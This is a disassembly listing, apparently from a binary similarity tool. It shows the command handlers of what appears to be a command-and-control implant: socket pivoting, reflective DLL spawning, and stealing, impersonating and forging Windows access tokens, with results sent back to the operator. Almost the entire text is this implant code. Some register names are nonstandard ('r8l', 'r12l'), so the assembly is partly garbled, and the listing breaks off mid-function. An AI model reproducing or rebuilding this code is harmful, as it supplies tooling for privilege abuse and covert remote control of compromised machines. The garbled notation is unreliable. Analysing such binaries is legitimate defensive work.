Similarity

14000e0e0
14000e0e0CommandSocket:
14000e0e0push rbp
14000e0e1mov rbp, rsp
14000e0e4push r15
14000e0e6push r14
14000e0e8push r13
14000e0eapush r12
14000e0ecpush rdi
14000e0edpush rsi
14000e0eepush rbx
14000e0efmov rbx, rcx
14000e0f2mov ecx, 2540
14000e0f7and rsp, -16
14000e0fbsub rsp, 96
14000e0ffcall PackageCreate
14000e104mov rcx, rbx
14000e107mov [rsp+72], rax
14000e10ccall ParserGetInt32
14000e111mov rcx, [rsp+72]
14000e116mov esi, eax
14000e118mov edx, esi
14000e11acall PackageAddInt32
14000e11fcmp esi, 20
14000e122ja 0x14000e728
14000e128lea rdx, [rip+0x192b1]
14000e12fmovsxd rax, [rdx+4*rsi]
14000e133add rax, rdx
14000e136jmp rax
14000e138lea r9, [rip+0x190bb]
14000e13fmov r8l, 2689
14000e145lea rdx, [rip+0x1efb4]
14000e14clea rcx, [rip+0x17eb5]
14000e153call printf
14000e158mov rcx, rbx
14000e15bcall ParserGetInt32
14000e160mov rcx, rbx
14000e163mov r12l, eax
14000e166call ParserGetInt32
14000e16bmov rcx, rbx
14000e16emov edi, eax
14000e170call ParserGetInt32
14000e175mov rcx, rbx
14000e178mov esi, eax
14000e17acall ParserGetInt32
14000e17fmov [rsp+40], esi
14000e183xor r9l, r9l
14000e186xor ecx, ecx
14000e188mov [rsp+48], eax
14000e18cmov r8l, r12l
14000e18fmov edx, 1
14000e194mov r13l, eax
14000e197mov [rsp+32], edi
14000e19bcall SocketNew
14000e1a0xor edx, edx
14000e1a2mov rcx, [rsp+72]
14000e1a7test rax, rax
14000e1aamov rbx, rax
14000e1adsetne dl
14000e1b0call PackageAddInt32
14000e1b5xor edx, edx
14000e1b7test rbx, rbx
14000e1baje 0x14000e1be
14000e1bcmov edx, [rbx]
14000e1be
14000e1beloc_14000e1be:
14000e1bemov rcx, [rsp+72]
14000e1c3call PackageAddInt32
14000e1c8mov rcx, [rsp+72]
14000e1cdmov edx, r12l
14000e1d0call PackageAddInt32
14000e1d5mov rcx, [rsp+72]
14000e1damov edx, edi
14000e1dccall PackageAddInt32
14000e1e1mov rcx, [rsp+72]
14000e1e6mov edx, esi
14000e1e8call PackageAddInt32
14000e1edmov edx, r13l
14000e1f0jmp 0x14000e66f
14000e1f5lea r9, [rip+0x19012]
14000e1fcmov r8l, 2724
14000e202lea rdx, [rip+0x1eef7]
14000e209lea rcx, [rip+0x17df8]
14000e210call printf
14000e215mov rax, [rip+0x1e154]
14000e21cmov rbx, [rax+2326]
14000e223
14000e223loc_14000e223:
14000e223test rbx, rbx
14000e226je 0x14000e728
14000e22ccmp [rbx+16], 1
14000e230jne 0x14000e272
14000e232mov edx, [rbx]
14000e234mov rcx, [rsp+72]
14000e239call PackageAddInt32
14000e23emov edx, [rbx+20]
14000e241mov rcx, [rsp+72]
14000e246call PackageAddInt32
14000e24bmov edx, [rbx+32]
14000e24emov rcx, [rsp+72]
14000e253call PackageAddInt32
14000e258mov edx, [rbx+36]
14000e25bmov rcx, [rsp+72]
14000e260call PackageAddInt32
14000e265mov edx, [rbx+40]
14000e268mov rcx, [rsp+72]
14000e26dcall PackageAddInt32
14000e272
14000e272loc_14000e272:
14000e272mov rbx, [rbx+48]
14000e276jmp 0x14000e223
14000e278lea rdx, [rip+0x1ee81]
14000e27flea r9, [rip+0x18f9d]
14000e286mov r8l, 2752
14000e28clea rcx, [rip+0x17d75]
14000e293call printf
14000e298mov rcx, rbx
14000e29bcall ParserGetInt32
14000e2a0mov rdx, [rip+0x1e0c9]
14000e2a7mov rdx, [rdx+2326]
14000e2ae
14000e2aeloc_14000e2ae:
14000e2aetest rdx, rdx
14000e2b1je 0x14000e728
14000e2b7cmp [rdx+16], 1
14000e2bbjne 0x14000e2cd
14000e2bdcmp [rdx], eax
14000e2bfjne 0x14000e2cd
14000e2c1mov [rdx+16], 4
14000e2c8jmp 0x14000e70e
14000e2cd
14000e2cdloc_14000e2cd:
14000e2cdmov rdx, [rdx+48]
14000e2d1jmp 0x14000e2ae
14000e2d3lea r9, [rip+0x18f60]
14000e2damov r8l, 2780
14000e2e0lea rdx, [rip+0x1ee19]
14000e2e7lea rcx, [rip+0x17d1a]
14000e2eecall printf
14000e2f3mov rax, [rip+0x1e076]
14000e2famov rax, [rax+2326]
14000e301
14000e301loc_14000e301:
14000e301test rax, rax
14000e304je 0x14000e70e
14000e30acmp [rax+16], 1
14000e30ejne 0x14000e317
14000e310mov [rax+16], 4
14000e317
14000e317loc_14000e317:
14000e317mov rax, [rax+48]
14000e31bjmp 0x14000e301
14000e31dlea r9, [rip+0x18f2c]
14000e324mov r8l, 2801
14000e32alea rdx, [rip+0x1edcf]
14000e331lea rcx, [rip+0x17cd0]
14000e338call printf
14000e33djmp 0x14000e728
14000e342lea r12, [rip+0x1edb7]
14000e349lea r9, [rip+0x18f16]
14000e350mov r8l, 2808
14000e356mov rdx, r12
14000e359lea rcx, [rip+0x17ca8]
14000e360call printf
14000e365xor ecx, ecx
14000e367mov [rsp+80], rcx
14000e36cmov [rsp+88], rcx
14000e371mov rcx, rbx
14000e374call ParserGetInt32
14000e379lea rdx, [rsp+88]
14000e37emov rcx, rbx
14000e381mov esi, eax
14000e383call ParserGetBytes
14000e388mov rdi, [rip+0x1dfe1]
14000e38fmov [rsp+80], rax
14000e394mov rdx, rax
14000e397mov rcx, [rdi+2326]
14000e39e
14000e39eloc_14000e39e:
14000e39etest rcx, rcx
14000e3a1jne 0x14000e3c3
14000e3a3mov r9l, esi
14000e3a6mov r8l, 2826
14000e3acmov rdx, r12
14000e3afxor r13l, r13l
14000e3b2lea rcx, [rip+0x18ebb]
14000e3b9call printf
14000e3bejmp 0x14000e44d
14000e3c3
14000e3c3loc_14000e3c3:
14000e3c3cmp [rcx], esi
14000e3c5jne 0x14000e444
14000e3c7mov r13l, [rcx+16]
14000e3cbxor r9l, r9l
14000e3cemov rcx, [rcx+8]
14000e3d2mov r8l, [rsp+88]
14000e3d7call [rdi+1924]
14000e3ddinc eax
14000e3dfje 0x14000e41a
14000e3e1mov [rsp+32], esi
14000e3e5mov r9l, [rsp+88]
14000e3eamov rdx, r12
14000e3edmov r8l, 2837
14000e3f3lea rcx, [rip+0x18ea5]
14000e3facall printf
14000e3ffmov rcx, [rsp+72]
14000e404call PackageDestroy
14000e409lea rsp, [rbp-56]
14000e40dpop rbx
14000e40epop rsi
14000e40fpop rdi
14000e410pop r12
14000e412pop r13
14000e414pop r14
14000e416pop r15
14000e418pop rbp
14000e419ret
14000e41a
14000e41aloc_14000e41a:
14000e41acall [rdi+1868]
14000e420mov [rsp+32], esi
14000e424mov r9l, [rsp+88]
14000e429mov r8l, 2842
14000e42fmov [rsp+40], eax
14000e433mov rdx, r12
14000e436lea rcx, [rip+0x18e90]
14000e43dcall printf
14000e442jmp 0x14000e44d
14000e444
14000e444loc_14000e444:
14000e444mov rcx, [rcx+48]
14000e448jmp 0x14000e39e
14000e44d
14000e44dloc_14000e44d:
14000e44dmov rcx, [rsp+72]
14000e452mov edx, esi
14000e454call PackageAddInt32
14000e459mov rcx, [rsp+72]
14000e45emov edx, r13l
14000e461call PackageAddInt32
14000e466mov rcx, [rsp+72]
14000e46bxor edx, edx
14000e46dcall PackageAddInt32
14000e472call [rdi+1868]
14000e478mov rcx, [rsp+72]
14000e47dmov edx, eax
14000e47fcall PackageAddInt32
14000e484lea r14, [rip+0x1ec75]
14000e48blea r9, [rip+0x18e7b]
14000e492mov r8l, 2867
14000e498mov rdx, r14
14000e49blea rcx, [rip+0x17b66]
14000e4a2call printf
14000e4a7xor edx, edx
14000e4a9mov rcx, rbx
14000e4acmov [rsp+80], edx
14000e4b0call ParserGetInt32
14000e4b5mov rcx, rbx
14000e4b8mov r12l, eax
14000e4bbcall ParserGetByte
14000e4c0lea rdx, [rsp+80]
14000e4c5mov rcx, rbx
14000e4c8mov edi, eax
14000e4cacall ParserGetBytes
14000e4cfmov rcx, rbx
14000e4d2mov rsi, rax
14000e4d5call ParserGetInt16
14000e4damovsx r13l, ax
14000e4decmp dil, 1
14000e4e2jne 0x14000e4ef
14000e4e4mov esi, [rsi]
14000e4e6xor ebx, ebx
14000e4e8xor edi, edi
14000e4eajmp 0x14000e572
14000e4ef
14000e4efloc_14000e4ef:
14000e4efcmp dil, 3
14000e4f3jne 0x14000e542
14000e4f5mov eax, [rsp+80]
14000e4f9mov r15, [rip+0x1de70]
14000e500mov ecx, 64
14000e505lea edx, [rax+1]
14000e508call [r15+932]
14000e50fmov ecx, [rsp+80]
14000e513mov rdi, rax
14000e516mov rbx, rax
14000e519rep movsb [rdi], [rsi]
14000e51bmov rcx, rax
14000e51exor edi, edi
14000e520call DnsQueryIPv4
14000e525mov esi, eax
14000e527test eax, eax
14000e529jne 0x14000e536
14000e52bmov rcx, rbx
14000e52ecall DnsQueryIPv6
14000e533mov rdi, rax
14000e536
14000e536loc_14000e536:
14000e536mov rcx, rbx
14000e539call [r15+940]
14000e540jmp 0x14000e572
14000e542
14000e542loc_14000e542:
14000e542cmp dil, 4
14000e546jne 0x14000e56c
14000e548mov rax, [rip+0x1de21]
14000e54fmov edx, 16
14000e554mov ecx, 64
14000e559xor ebx, ebx
14000e55bcall [rax+932]
14000e561movups x0, [rsi]
14000e564mov rdi, rax
14000e567movups [rax], x0
14000e56ajmp 0x14000e570
14000e56c
14000e56cloc_14000e56c:
14000e56cxor ebx, ebx
14000e56exor edi, edi
14000e570
14000e570loc_14000e570:
14000e570xor esi, esi
14000e572
14000e572loc_14000e572:
14000e572mov r9l, r12l
14000e575mov r8l, 2919
14000e57bmov rdx, r14
14000e57elea rcx, [rip+0x18d98]
14000e585call printf
14000e58atest esi, esi
14000e58cjne 0x14000e597
14000e58etest rdi, rdi
14000e591je 0x14000e639
14000e597
14000e597loc_14000e597:
14000e597xor eax, eax
14000e599mov [rsp+32], r13l
14000e59emov r9, rdi
14000e5a1mov r8l, esi
14000e5a4mov [rsp+48], eax
14000e5a8mov edx, 2
14000e5adxor ecx, ecx
14000e5afmov [rsp+40], eax
14000e5b3call SocketNew
14000e5b8mov rbx, rax
14000e5bbtest rax, rax
14000e5beje 0x14000e5c7
14000e5c0mov [rax], r12l
14000e5c3xor esi, esi
14000e5c5jmp 0x14000e5f0
14000e5c7
14000e5c7loc_14000e5c7:
14000e5c7mov rax, [rip+0x1dda2]
14000e5cemov r8l, 2933
14000e5d4mov rdx, r14
14000e5d7lea rcx, [rip+0x18d5e]
14000e5demov rax, [rax+2230]
14000e5e5mov esi, [rax+104]
14000e5e8mov r9l, esi
14000e5ebcall printf
14000e5f0
14000e5f0loc_14000e5f0:
14000e5f0mov rcx, [rsp+72]
14000e5f5xor edx, edx
14000e5f7test rbx, rbx
14000e5fasetne dl
14000e5fdcall PackageAddInt32
14000e602mov rcx, [rsp+72]
14000e607mov edx, r12l
14000e60acall PackageAddInt32
14000e60fmov rcx, [rsp+72]
14000e614mov edx, esi
14000e616call PackageAddInt32
14000e61btest rdi, rdi
14000e61eje 0x14000e728
14000e624mov rax, [rip+0x1dd45]
14000e62bmov rcx, rdi
14000e62ecall [rax+940]
14000e634jmp 0x14000e728
14000e639
14000e639loc_14000e639:
14000e639mov r9, rbx
14000e63cmov r8l, 2940
14000e642mov rdx, r14
14000e645lea rcx, [rip+0x18d18]
14000e64ccall printf
14000e651mov rcx, [rsp+72]
14000e656xor edx, edx
14000e658call PackageAddInt32
14000e65dmov rcx, [rsp+72]
14000e662mov edx, r12l
14000e665call PackageAddInt32
14000e66amov edx, 10065
14000e66f
14000e66floc_14000e66f:
14000e66fmov rcx, [rsp+72]
14000e674call PackageAddInt32
14000e679jmp 0x14000e728
14000e67elea rsi, [rip+0x1ea7b]
14000e685lea r9, [rip+0x18d06]
14000e68cmov r8l, 2958
14000e692mov rdx, rsi
14000e695lea rcx, [rip+0x1796c]
14000e69ccall printf
14000e6a1mov rcx, rbx
14000e6a4call ParserGetInt32
14000e6a9mov r8l, 2965
14000e6afmov rdx, rsi
14000e6b2lea rcx, [rip+0x18ce7]
14000e6b9mov r9l, eax
14000e6bcmov [rsp+68], eax
14000e6c0call printf
14000e6c5mov rax, [rip+0x1dca4]
14000e6ccmov r9l, [rsp+68]
14000e6d1mov rbx, [rax+2326]
14000e6d8
14000e6d8loc_14000e6d8:
14000e6d8test rbx, rbx
14000e6dbje 0x14000e70e
14000e6ddcmp [rbx], r9l
14000e6e0jne 0x14000e708
14000e6e2mov r8l, 2977
14000e6e8mov rdx, rsi
14000e6eblea rcx, [rip+0x18ccc]
14000e6f2call printf
14000e6f7xor eax, eax
14000e6f9cmp [rbx+16], 3
14000e6fdsetne al
14000e700add eax, 4
14000e703mov [rbx+16], eax
14000e706jmp 0x14000e70e
14000e708
14000e708loc_14000e708:
14000e708mov rbx, [rbx+48]
14000e70cjmp 0x14000e6d8
14000e70e
14000e70eloc_14000e70e:
14000e70emov rcx, [rsp+72]
14000e713lea rsp, [rbp-56]
14000e717pop rbx
14000e718pop rsi
14000e719pop rdi
14000e71apop r12
14000e71cpop r13
14000e71epop r14
14000e720pop r15
14000e722pop rbp
14000e723jmp 0x140018af0
14000e728
14000e728loc_14000e728:
14000e728mov rcx, [rsp+72]
14000e72dlea rsp, [rbp-56]
14000e731pop rbx
14000e732pop rsi
14000e733pop rdi
14000e734pop r12
14000e736pop r13
14000e738pop r14
14000e73apop r15
14000e73cpop rbp
14000e73djmp 0x140018b90
14000e0e0

14000e742
14000e742 // align 0x10

14000e750
14000e750CommandSpawnDLL:
14000e750push rdi
14000e751xor eax, eax
14000e753push rsi
14000e754push rbx
14000e755mov rbx, rcx
14000e758mov ecx, 12
14000e75dsub rsp, 144
14000e764lea rdi, [rsp+96]
14000e769lea rdx, [rsp+92]
14000e76erep stosd [rdi], eax
14000e770xor eax, eax
14000e772mov rcx, rbx
14000e775mov [rsp+84], eax
14000e779mov [rsp+88], eax
14000e77dmov [rsp+92], eax
14000e781call ParserGetString
14000e786lea rdx, [rsp+84]
14000e78bmov rcx, rbx
14000e78emov rsi, rax
14000e791call ParserGetString
14000e796lea rdx, [rsp+88]
14000e79bmov rcx, rbx
14000e79emov [rsp+72], rax
14000e7a3call ParserGetString
14000e7a8mov ecx, 26
14000e7admov rdi, rax
14000e7b0call PackageCreate
14000e7b5mov [rsp+32], rdi
14000e7bamov edx, [rsp+92]
14000e7bemov rcx, rsi
14000e7c1mov rbx, rax
14000e7c4lea rax, [rsp+96]
14000e7c9mov r9l, [rsp+84]
14000e7cemov r8, [rsp+72]
14000e7d3mov [rsp+48], rax
14000e7d8mov eax, [rsp+88]
14000e7dcmov [rsp+40], rax
14000e7e1call DllSpawnReflective
14000e7e6mov rcx, rbx
14000e7e9mov edx, eax
14000e7ebcall PackageAddInt32
14000e7f0mov rcx, rbx
14000e7f3call PackageTransmit
14000e7f8add rsp, 144
14000e7ffpop rbx
14000e800pop rsi
14000e801pop rdi
14000e802ret
14000e750

14000e803
14000e803 // align 0x10

14000e810
14000e810CommandToken:
14000e810push r15
14000e812push r14
14000e814push r13
14000e816push r12
14000e818push rbp
14000e819push rdi
14000e81amov rdi, rcx
14000e81dmov ecx, 40
14000e822push rsi
14000e823push rbx
14000e824sub rsp, 376
14000e82bcall PackageCreate
14000e830mov rcx, rdi
14000e833mov [rsp+64], rax
14000e838call ParserGetInt32
14000e83dmov r8l, 1323
14000e843lea rdx, [rip+0x1e226]
14000e84alea rcx, [rip+0x18328]
14000e851mov r9l, eax
14000e854mov esi, eax
14000e856call printf
14000e85bmov rcx, [rsp+64]
14000e860mov edx, esi
14000e862dec esi
14000e864call PackageAddInt32
14000e869cmp esi, 9
14000e86cja 0x14000f1b0
14000e872lea rdx, [rip+0x18573]
14000e879movsxd rax, [rdx+4*rsi]
14000e87dlea rsi, [rip+0x17784]
14000e884add rax, rdx
14000e887jmp rax
14000e889lea r9, [rip+0x18308]
14000e890mov r8l, 1328
14000e896lea rdx, [rip+0x1e1d3]
14000e89dmov rcx, rsi
14000e8a0call printf
14000e8a5mov rcx, rdi
14000e8a8call ParserGetInt32
14000e8admov ecx, eax
14000e8afcall TokenGet
14000e8b4mov rdi, rax
14000e8b7test rax, rax
14000e8baje 0x14000e8d9
14000e8bcmov rcx, rax
14000e8bfcall ImpersonateTokenInStore
14000e8c4mov rcx, [rsp+64]
14000e8c9mov edx, eax
14000e8cbcall PackageAddInt32
14000e8d0mov rdx, [rdi+8]
14000e8d4jmp 0x14000eccd
14000e8d9
14000e8d9loc_14000e8d9:
14000e8d9lea r9, [rip+0x182cb]
14000e8e0mov r8l, 1342
14000e8e6lea rdx, [rip+0x1e183]
14000e8edmov rcx, rsi
14000e8f0call printf
14000e8f5mov edx, 1
14000e8famov ecx, 3
14000e8ffcall PackageTransmitError
14000e904mov rcx, [rsp+64]
14000e909xor edx, edx
14000e90bcall PackageAddInt32
14000e910xor edx, edx
14000e912jmp 0x14000f057
14000e917lea r9, [rip+0x182a7]
14000e91emov r8l, 1351
14000e924mov rcx, rsi
14000e927xor r12l, r12l
14000e92alea rdx, [rip+0x1e13f]
14000e931call printf
14000e936mov rcx, rdi
14000e939mov [rsp+104], r12
14000e93emov [rsp+112], r12
14000e943call ParserGetInt32
14000e948mov rcx, rdi
14000e94bmov r12l, eax
14000e94ecall ParserGetInt32
14000e953mov ecx, r12l
14000e956movsxd rdx, eax
14000e959call TokenSteal
14000e95elea r9, [rip+0x1826d]
14000e965mov r8l, 1367
14000e96bmov rdi, rax
14000e96etest rax, rax
14000e971je 0x14000e9d5
14000e973xor r8l, r8l
14000e976lea rdx, [rsp+104]
14000e97bmov rcx, rax
14000e97ecall TokenQueryOwner
14000e983lea r9, [rip+0x1826e]
14000e98amov r8l, 1372
14000e990test eax, eax
14000e992je 0x14000e9d5
14000e994xor ebp, ebp
14000e996mov rdx, [rsp+104]
14000e99bmov rcx, rdi
14000e99emov r9l, r12l
14000e9a1mov [rsp+48], rbp
14000e9a6mov r8l, 1
14000e9acmov [rsp+40], rbp
14000e9b1mov [rsp+32], rbp
14000e9b6call TokenAdd
14000e9bbmov ecx, eax
14000e9bdmov edi, eax
14000e9bfcall ImpersonateTokenFromVault
14000e9c4test eax, eax
14000e9c6jne 0x14000e9f8
14000e9c8lea r9, [rip+0x18257]
14000e9cfmov r8l, 1382
14000e9d5
14000e9d5loc_14000e9d5:
14000e9d5mov rcx, rsi
14000e9d8lea rdx, [rip+0x1e091]
14000e9dfcall printf
14000e9e4add rsp, 376
14000e9ebpop rbx
14000e9ecpop rsi
14000e9edpop rdi
14000e9eepop rbp
14000e9efpop r12
14000e9f1pop r13
14000e9f3pop r14
14000e9f5pop r15
14000e9f7ret
14000e9f8
14000e9f8loc_14000e9f8:
14000e9f8mov rax, [rsp+104]
14000e9fdmov r9l, edi
14000ea00mov r8l, 1386
14000ea06lea rdx, [rip+0x1e063]
14000ea0dlea rcx, [rip+0x18232]
14000ea14mov [rsp+32], rax
14000ea19call printf
14000ea1emov r8l, [rsp+112]
14000ea23mov rdx, [rsp+104]
14000ea28mov rcx, [rsp+64]
14000ea2dcall PackageAddBytes
14000ea32mov rcx, [rsp+64]
14000ea37mov edx, edi
14000ea39call PackageAddInt32
14000ea3emov edx, r12l
14000ea41jmp 0x14000f057
14000ea46mov rcx, rsi
14000ea49lea r9, [rip+0x18237]
14000ea50mov r8l, 1395
14000ea56xor edi, edi
14000ea58lea rdx, [rip+0x1e011]
14000ea5flea r13, [rip+0x1822d]
14000ea66call printf
14000ea6bmov r12, [rip+0x1d8fe]
14000ea72mov rsi, [r12+2274]
14000ea7a
14000ea7aloc_14000ea7a:
14000ea7atest rsi, rsi
14000ea7dje 0x14000f1b0
14000ea83mov eax, [rsi+16]
14000ea86mov r9l, edi
14000ea89mov r8l, 1403
14000ea8fmov rcx, r13
14000ea92lea rdx, [rip+0x1dfd7]
14000ea99mov [rsp+48], eax
14000ea9dmov rax, [rsi+8]
14000eaa1mov [rsp+40], rax
14000eaa6mov rax, [rsi]
14000eaa9mov [rsp+32], rax
14000eaaecall printf
14000eab3mov rcx, [rsp+64]
14000eab8mov edx, edi
14000eabacall PackageAddInt32
14000eabfmov edx, [rsi]
14000eac1mov rcx, [rsp+64]
14000eac6call PackageAddInt32
14000eacbmov rdx, [rsi+8]
14000eacfmov rcx, [rsp+64]
14000ead4call PackageAddWString
14000ead9mov edx, [rsi+16]
14000eadcmov rcx, [rsp+64]
14000eae1call PackageAddInt32
14000eae6movsx edx, [rsi+20]
14000eaeamov rcx, [rsp+64]
14000eaefcall PackageAddInt32
14000eaf4mov edx, [r12+2290]
14000eafctest edx, edx
14000eafeje 0x14000eb13
14000eb00mov rax, [r12+2282]
14000eb08xor edx, edx
14000eb0amov rbx, [rsi]
14000eb0dcmp [rax], rbx
14000eb10sete dl
14000eb13
14000eb13loc_14000eb13:
14000eb13mov rcx, [rsp+64]
14000eb18inc edi
14000eb1acall PackageAddInt32
14000eb1fmov rsi, [rsi+48]
14000eb23jmp 0x14000ea7a
14000eb28lea rdx, [rip+0x1df41]
14000eb2flea r9, [rip+0x181a7]
14000eb36mov rcx, rsi
14000eb39xor ebx, ebx
14000eb3bmov r8l, 1422
14000eb41call printf
14000eb46mov rcx, rdi
14000eb49mov [rsp+92], ebx
14000eb4dmov [rsp+96], ebx
14000eb51mov [rsp+100], ebx
14000eb55call ParserGetInt32
14000eb5amov rcx, [rsp+64]
14000eb5fmov r12l, eax
14000eb62mov edx, eax
14000eb64call PackageAddInt32
14000eb69test r12l, r12l
14000eb6cje 0x14000ec85
14000eb72mov rcx, rsi
14000eb75lea r9, [rip+0x18177]
14000eb7cmov r8l, 1436
14000eb82lea rdx, [rip+0x1dee7]
14000eb89lea r13, [rsp+92]
14000eb8ecall printf
14000eb93lea rdi, [rsp+120]
14000eb98call TokenCurrentHandle
14000eb9dxor r9l, r9l
14000eba0xor r8l, r8l
14000eba3mov edx, 3
14000eba8mov rbp, [rip+0x1d7c1]
14000ebafmov rcx, rax
14000ebb2mov [rsp+32], r13
14000ebb7mov r12, rax
14000ebbacall [rbp+1340]
14000ebc0mov eax, [rsp+92]
14000ebc4mov ecx, 64
14000ebc9lea edx, [rax+1]
14000ebccshl rdx, 4
14000ebd0call [rbp+932]
14000ebd6xor r11l, r11l
14000ebd9mov ecx, 61
14000ebdemov rsi, rax
14000ebe1xor eax, eax
14000ebe3mov [rsp+104], r11
14000ebe8mov [rsp+112], r11
14000ebedrep stosd [rdi], eax
14000ebeftest rsi, rsi
14000ebf2je 0x14000f1b0
14000ebf8mov [rsp+32], r13
14000ebfdmov r9l, [rsp+92]
14000ec02mov r8, rsi
14000ec05mov rcx, r12
14000ec08mov edx, 3
14000ec0dcall [rbp+1340]
14000ec13test eax, eax
14000ec15je 0x14000ec2a
14000ec17lea rdi, [rsi+4]
14000ec1bxor r12l, r12l
14000ec1elea r14, [rsp+96]
14000ec23lea r13, [rsp+104]
14000ec28jmp 0x14000ec44
14000ec2a
14000ec2aloc_14000ec2a:
14000ec2amov rdi, rsi
14000ec2dmov ecx, 16
14000ec32xor eax, eax
14000ec34rep stosb [rdi], al
14000ec36mov rcx, rsi
14000ec39call [rbp+940]
14000ec3fjmp 0x14000f1b0
14000ec44
14000ec44loc_14000ec44:
14000ec44cmp r12l, [rsi]
14000ec47jae 0x14000ec2a
14000ec49mov r9, r14
14000ec4cmov r8, r13
14000ec4fmov rdx, rdi
14000ec52xor ecx, ecx
14000ec54mov [rsp+96], 260
14000ec5cinc r12l
14000ec5fadd rdi, 12
14000ec63call [rbp+1556]
14000ec69mov rcx, [rsp+64]
14000ec6emov rdx, r13
14000ec71call PackageAddString
14000ec76mov edx, [rdi-4]
14000ec79mov rcx, [rsp+64]
14000ec7ecall PackageAddInt32
14000ec83jmp 0x14000ec44
14000ec85
14000ec85loc_14000ec85:
14000ec85lea r9, [rip+0x18073]
14000ec8cmov r8l, 1460
14000ec92mov rcx, rsi
14000ec95lea rdx, [rip+0x1ddd4]
14000ec9ccall printf
14000eca1lea rdx, [rsp+100]
14000eca6mov rcx, rdi
14000eca9call ParserGetString
14000ecaemov edx, 1
14000ecb3mov rcx, rax
14000ecb6mov rsi, rax
14000ecb9call TokenSetPrivilege
14000ecbemov rcx, [rsp+64]
14000ecc3mov edx, eax
14000ecc5call PackageAddInt32
14000eccamov rdx, rsi
14000eccd
14000eccdloc_14000eccd:
14000eccdmov rcx, [rsp+64]
14000ecd2call PackageAddString
14000ecd7jmp 0x14000f1b0
14000ecdclea r9, [rip+0x18027]
14000ece3mov r8l, 1477
14000ece9mov rcx, rsi
14000ececlea rdx, [rip+0x1dd7d]
14000ecf3call printf
14000ecf8xor r10l, r10l
14000ecfbmov rcx, rdi
14000ecfelea rdx, [rsp+104]
14000ed03mov [rsp+96], r10l
14000ed08mov [rsp+100], r10l
14000ed0dmov [rsp+104], r10l
14000ed12call ParserGetWString
14000ed17mov rcx, rdi
14000ed1alea rdx, [rsp+96]
14000ed1fmov [rsp+72], rax
14000ed24call ParserGetWString
14000ed29mov rcx, rdi
14000ed2clea rdx, [rsp+100]
14000ed31mov rsi, rax
14000ed34call ParserGetWString
14000ed39mov r12l, [rsp+96]
14000ed3emov [rsp+92], 92
14000ed45mov edi, [rsp+104]
14000ed49mov r14, rax
14000ed4ctest r12l, r12l
14000ed4fje 0x14000f1b0
14000ed55cmp [rsp+100], 0
14000ed5aje 0x14000f1b0
14000ed60test edi, edi
14000ed62je 0x14000f1b0
14000ed68mov [rsp+40], rax
14000ed6dmov r9, [rsp+72]
14000ed72mov r8l, 1496
14000ed78lea rdx, [rip+0x1dcf1]
14000ed7fmov [rsp+32], rsi
14000ed84lea rcx, [rip+0x17f8b]
14000ed8bcall printf
14000ed90mov r8, [rsp+72]
14000ed95mov rdx, r14
14000ed98mov rcx, rsi
14000ed9bcall TokenMake
14000eda0mov rbx, rax
14000eda3test rax, rax
14000eda6je 0x14000f1b0
14000edacmov r15, [rip+0x1d5bd]
14000edb3lea ebp, [r12+rdi+1]
14000edb8mov ecx, 64
14000edbdmov rdx, rbp
14000edc0call [r15+932]
14000edc7mov rcx, rbp
14000edcamov r12, rax
14000edcdmov rdi, rax
14000edd0xor eax, eax
14000edd2rep stosb [rdi], al
14000edd4mov rdx, [rsp+72]
14000edd9mov rcx, r12
14000eddccall StringConcatW
14000ede1lea rdx, [rsp+92]
14000ede6mov rcx, r12
14000ede9call StringConcatW
14000edeemov rdx, rsi
14000edf1mov rcx, r12
14000edf4call StringConcatW
14000edf9mov edx, [rsp+96]
14000edfdmov ecx, 64
14000ee02call [r15+932]
14000ee09mov edx, [rsp+100]
14000ee0dmov ecx, 64
14000ee12mov rbp, rax
14000ee15call [r15+932]
14000ee1cmov rdi, rbp
14000ee1fmov edx, [rsp+104]
14000ee23mov ecx, 64
14000ee28mov r13, rax
14000ee2bcall [r15+932]
14000ee32mov ecx, [rsp+96]
14000ee36mov r8l, 2
14000ee3crep movsb [rdi], [rsi]
14000ee3emov rdi, r13
14000ee41mov rsi, r14
14000ee44mov ecx, [rsp+100]
14000ee48rep movsb [rdi], [rsi]
14000ee4amov rsi, [rsp+72]
14000ee4fmov rdi, rax
14000ee52mov ecx, [rsp+104]
14000ee56rep movsb [rdi], [rsi]
14000ee58mov rcx, rbx
14000ee5bmov rdx, [0x30]
14000ee64mov r9, [rdx+64]
14000ee68mov [rsp+48], r13
14000ee6dmov rdx, r12
14000ee70mov [rsp+40], rax
14000ee75mov [rsp+32], rbp
14000ee7acall TokenAdd
14000ee7fmov ecx, eax
14000ee81call ImpersonateTokenFromVault
14000ee86mov r9, r12
14000ee89mov r8l, 1530
14000ee8flea rdx, [rip+0x1dbda]
14000ee96lea rcx, [rip+0x17ec3]
14000ee9dcall printf
14000eea2mov rcx, [rsp+64]
14000eea7mov rdx, r12
14000eeaacall PackageAddWString
14000eeafjmp 0x14000f1b0
14000eeb4mov rcx, rsi
14000eeb7lea r9, [rip+0x17ec5]
14000eebemov r8l, 1539
14000eec4lea rdx, [rip+0x1dba5]
14000eecbcall printf
14000eed0xor r9l, r9l
14000eed3mov [rsp+104], r9
14000eed8mov [rsp+112], r9
14000eeddcall TokenCurrentHandle
14000eee2mov rsi, rax
14000eee5test rax, rax
14000eee8je 0x14000ef5d
14000eeeamov rcx, rax
14000eeedcall TokenElevated
14000eef2mov rcx, [rsp+64]
14000eef7mov edx, eax
14000eef9call PackageAddInt32
14000eefexor r8l, r8l
14000ef01lea rdx, [rsp+104]
14000ef06mov rcx, rsi
14000ef09call TokenQueryOwner
14000ef0etest eax, eax
14000ef10je 0x14000ef44
14000ef12mov eax, [rsp+112]
14000ef16mov r9, [rsp+104]
14000ef1bmov r8l, 1552
14000ef21lea rdx, [rip+0x1db48]
14000ef28lea rcx, [rip+0x17e62]
14000ef2fmov [rsp+32], eax
14000ef33call printf
14000ef38mov r8l, [rsp+112]
14000ef3dmov rdx, [rsp+104]
14000ef42jmp 0x14000ef49
14000ef44
14000ef44loc_14000ef44:
14000ef44xor r8l, r8l
14000ef47xor edx, edx
14000ef49
14000ef49loc_14000ef49:
14000ef49mov rcx, [rsp+64]
14000ef4ecall PackageAddBytes
14000ef53mov rcx, rsi
14000ef56call SysNtClose
14000ef5bjmp 0x14000ef78
14000ef5d
14000ef5dloc_14000ef5d:
14000ef5dmov rax, [rip+0x1d40c]
14000ef64mov ecx, 1
14000ef69mov rax, [rax+2230]
14000ef70mov edx, [rax+104]
14000ef73call PackageTransmitError
14000ef78
14000ef78loc_14000ef78:
14000ef78mov rdi, [rsp+104]
14000ef7dtest rdi, rdi
14000ef80je 0x14000f1b0
14000ef86mov ecx, [rsp+112]
14000ef8axor eax, eax
14000ef8crep stosb [rdi], al
